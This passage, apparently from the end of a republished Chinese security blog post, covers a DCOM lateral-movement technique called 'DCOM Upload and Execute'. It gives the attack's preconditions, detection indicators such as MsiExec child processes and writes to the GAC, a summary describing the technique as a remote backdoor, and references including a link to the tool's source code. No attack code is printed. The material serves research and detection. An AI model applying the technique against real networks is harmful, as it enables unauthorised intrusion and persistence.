图 22:目标受害者上的结果
完整源代码:https://github.com/deepinstinct/DCOMUploadExec[11]
限制条件
-
攻击者和受害者机器必须在同一域或林中。
-
攻击者和受害者机器必须与DCOM 加固补丁[12]保持一致,要么两个系统都应用了补丁,要么都没有。
-
上传和执行的程序集 payload 必须有强名称[13]
-
上传和执行的程序集 payload 必须是 x86 或 x64 架构(不能是 AnyCPU)
检测
这种攻击会留下明显的可被检测和阻止的 IOC
-
包含远程认证数据的事件日志:
图 23:远程登录事件日志
-
MSIEXEC 服务创建的子进程(自定义操作服务器)具有命令行模式C:WindowsSystem32MsiExec.exe -Embedding [十六进制字符]
图 24:DCOM 上传和执行期间的进程树
-
子 MSIEXEC 进程向 GAC 写入 DLL
-
子 MSIEXEC 进程从 GAC 加载 DLL
总结
到目前为止,DCOM 横向移动攻击的研究仅限于基于 IDispatch 的 COM 对象,这是由于它们的可脚本化特性。本博文介绍了一种完整的研究 COM 和 DCOM 对象的方法,该方法不依赖于它们的文档或是否实现 IDispatch。
使用这种方法,我们揭示了"DCOM 上传和执行",这是一种强大的 DCOM 横向移动攻击,可以远程将自定义 payload 写入受害者的 GAC,从服务上下文执行它们,并与它们通信,有效地充当嵌入式后门。
这里展示的研究证明,许多意想不到的 DCOM 对象可能被用于横向移动,应该建立适当的防御措施。
参考资料
-
https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/[14]
-
https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/[15]
-
https://github.com/tyranid/oleviewdotnet[16]
-
https://securityboulevard.com/2023/10/lateral-movement-abuse-the-power-of-dcom-excel-application/[17]
-
https://www.cybereason.com/blog/dcom-lateral-movement-techniques[18]
-
https://learn.microsoft.com/en-us/windows/win32/api/unknwn/nn-unknwn-iclassfactory[19]
-
https://blog.xpnsec.com/rundll32-your-dotnet/[20]
-
https://www.nuget.org/packages/UnmanagedExports[21]
-
https://support.microsoft.com/en-us/topic/kb5004442-manage-changes-for-windows-dcom-server-security-feature-bypass-cve-2021-26414-f1400b52-c141-43d2-941e-37ed901c769c[22]
参考资料
Matt Nelson:https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
[2]研究流程:https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
[3]更多 DCOM 对象:https://www.cybereason.com/blog/dcom-lateral-movement-techniques
[4]自动化:https://www.scorpiones.io/articles/lateral-movement-using-dcom-objects
[5]OleView .NET:https://github.com/tyranid/oleviewdotnet
[6]定义:https://github.com/tongzx/nt5src
[7]MSDN:https://learn.microsoft.com/en-us/windows/win32/api/unknwn/nn-unknwn-iclassfactory
[8]一些攻击:https://securityboulevard.com/2023/10/lateral-movement-abuse-the-power-of-dcom-excel-application/
[9]sn.exe:https://learn.microsoft.com/en-us/dotnet/framework/tools/sn-exe-strong-name-tool
[10]从我们的程序集导出到本机调用者:https://blog.xpnsec.com/rundll32-your-dotnet/
[11]https://github.com/deepinstinct/DCOMUploadExec:https://github.com/deepinstinct/DCOMUploadExec
[12]DCOM 加固补丁:https://support.microsoft.com/en-us/topic/kb5004442-manage-changes-for-windows-dcom-server-security-feature-bypass-cve-2021-26414-f1400b52-c141-43d2-941e-37ed901c769c
[13]强名称:https://learn.microsoft.com/en-us/dotnet/standard/assembly/strong-named
[14]https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/:https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
[15]https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/:https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
[16]https://github.com/tyranid/oleviewdotnet:https://github.com/tyranid/oleviewdotnet
[17]https://securityboulevard.com/2023/10/lateral-movement-abuse-the-power-of-dcom-excel-application/:https://securityboulevard.com/2023/10/lateral-movement-abuse-the-power-of-dcom-excel-application/
[18]https://www.cybereason.com/blog/dcom-lateral-movement-techniques:https://www.cybereason.com/blog/dcom-lateral-movement-techniques
[19]https://learn.microsoft.com/en-us/windows/win32/api/unknwn/nn-unknwn-iclassfactory:https://learn.microsoft.com/en-us/windows/win32/api/unknwn/nn-unknwn-iclassfactory
[20]https://blog.xpnsec.com/rundll32-your-dotnet/:https://blog.xpnsec.com/rundll32-your-dotnet/
[21]https://www.nuget.org/packages/UnmanagedExports:https://www.nuget.org/packages/UnmanagedExports
[22]https://support.microsoft.com/en-us/topic/kb5004442-manage-changes-for-windows-dcom-server-security-feature-bypass-cve-2021-26414-f1400b52-c141-43d2-941e-37ed901c769c:https://support.microsoft.com/en-us/topic/kb5004442-manage-changes-for-windows-dcom-server-security-feature-bypass-cve-2021-26414-f1400b52-c141-43d2-941e-37ed901c769c
原文始发于微信公众号(securitainment):忘记 PSEXEC:DCOM 上传与执行后门
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论